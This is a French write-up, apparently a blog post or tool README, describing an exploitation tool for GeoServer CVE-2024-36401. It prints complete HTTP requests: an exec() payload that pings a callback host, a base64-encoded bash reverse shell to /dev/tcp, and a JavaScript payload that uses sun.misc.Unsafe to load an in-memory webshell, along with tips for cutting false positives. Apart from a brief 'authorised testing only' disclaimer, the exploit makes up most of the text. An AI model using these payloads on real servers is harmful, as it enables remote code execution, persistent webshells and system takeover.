
geoserver CVE-2024-36401 outil d'exploitation de vulnérabilité
Environnement geoserver CVE-2024-36401 : JDK8
Déclaration : réservé aux tests autorisés. L'auteur n'est pas responsable des conséquences d'une mauvaise utilisation par les utilisateurs. Veuillez respecter les lois et règlements !
1, payload par défaut :
POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: xxxx
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
</wfs:GetPropertyValue>
Alors faites attention ici : <wfs:Query typeNames='sf:archsites'/>
À cet endroit, si vous devez l’obtenir par expression régulière, il s’agit d’un identifiant de base du site sf:archsites. Vous devez d’abord récupérer ses informations
<wfs:ReturnFeatureType>(.*?)</wfs:ReturnFeatureType>, puis vous pouvez procéder par concaténation.
Lors de la détection de vulnérabilité
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
À cet endroit, il n’est en fait même pas nécessaire de consulter les enregistrements DNS.
La logique simple consiste à détecter la présence d’une classe anormale,
comme java.lang.ClassCastException.
Bien sûr, ce n’est que la logique de détection.
Ce retour est normalement 400, il est facile de tomber dans le piège ici. Vous devez juger de la page d’erreur, puis chercher les données.
Vous devez d’abord demander un
<wfs:ListStoredQueries service='WFS'\n" + " version='2.0.0'\n" + " xmlns:wfs='http://www.opengis.net/wfs/2.0'/>
Cette information signifie que vous pouvez obtenir son <wfs:ReturnFeatureType>(.*?)</wfs:ReturnFeatureType>.
Ensuite, affectez-le directement au texte, puis appelez une fonction pour extraire l’information du texte et la concaténer au paramètre <wfs:Query typeNames='sf:archsites'/>.
Ainsi, la logique de détection sera relativement précise. Il suffit d’écrire la classe de détection de cette manière.
Si vous utilisez toujours <wfs:Query typeNames='sf:archsites'/>, le taux de faux positifs est élevé, car le système indiquera qu’il ne trouve pas sf:archsites.
Voyons le payload de reverse shell :
POST /geoserver/wfs HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/xml
Content-Length: 438
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>
Faites attention ici :
<wfs:Query typeNames='sf:archsites'/>
De même, il faut d’abord récupérer la valeur par expression régulière, puis la concaténer.
Ensuite, envoyez directement la requête.
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx est le base64 chiffré.
Lors de l’écriture, convertissez simplement la commande entrée par l’utilisateur bash -i >& /dev/tcp/127.0.0.1/9999 0>&1 en base64.
Envoyez ensuite la requête, puis cherchez la classe d’exception clé pour juger de la logique.
À cet endroit :
POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: xxx
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 20383
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="";
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>
Ici encore, il y a <wfs:Query typeNames='sf:archsites'/>, comme d’habitude, il faut d’abord récupérer la valeur.
À l’endroit var str="" ; mettez le code de votre webshell en mémoire encodé en base64.
Ensuite, jugez la logique.
L’utilisation répétée de <wfs:Query typeNames='sf:archsites'/> entraîne un taux de faux positifs de 98%. Exemple d’erreur :
https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="InvalidParameterValue" locator="typeName">
<ows:ExceptionText>Could not locate {http://www.openplans.org/spearfish}archsites in catalog.<
Point vulnérable présent :
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)
class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText>
</ows:Exception>
En résumé, la présence de la vulnérabilité se manifeste par java.lang.ClassCastException.
Le faux positif est : Could not locate {http://www.openplans.org/spearfish}archsites in catalog.
Méthode de détection :
Capturez le wfs:ReturnFeatureType appelé, affectez-le au texte → le texte appelle une fonction → requête, concaténation dans la requête, détection de l’exception dans le retour.
Pour l’appel de la fonction à partir du texte, il faut lui donner une valeur à l’avance pour éviter une exception de pointeur nul. Concaténez avant la requête, puis détectez l’exception dans le retour ; c’est à l’intérieur de l’exception qu’on effectue la détection.
Finalement, nous avons implémenté cet outil d’exploitation de vulnérabilité.

Testons la vulnérabilité.
Effet d’exécution de l’outil :
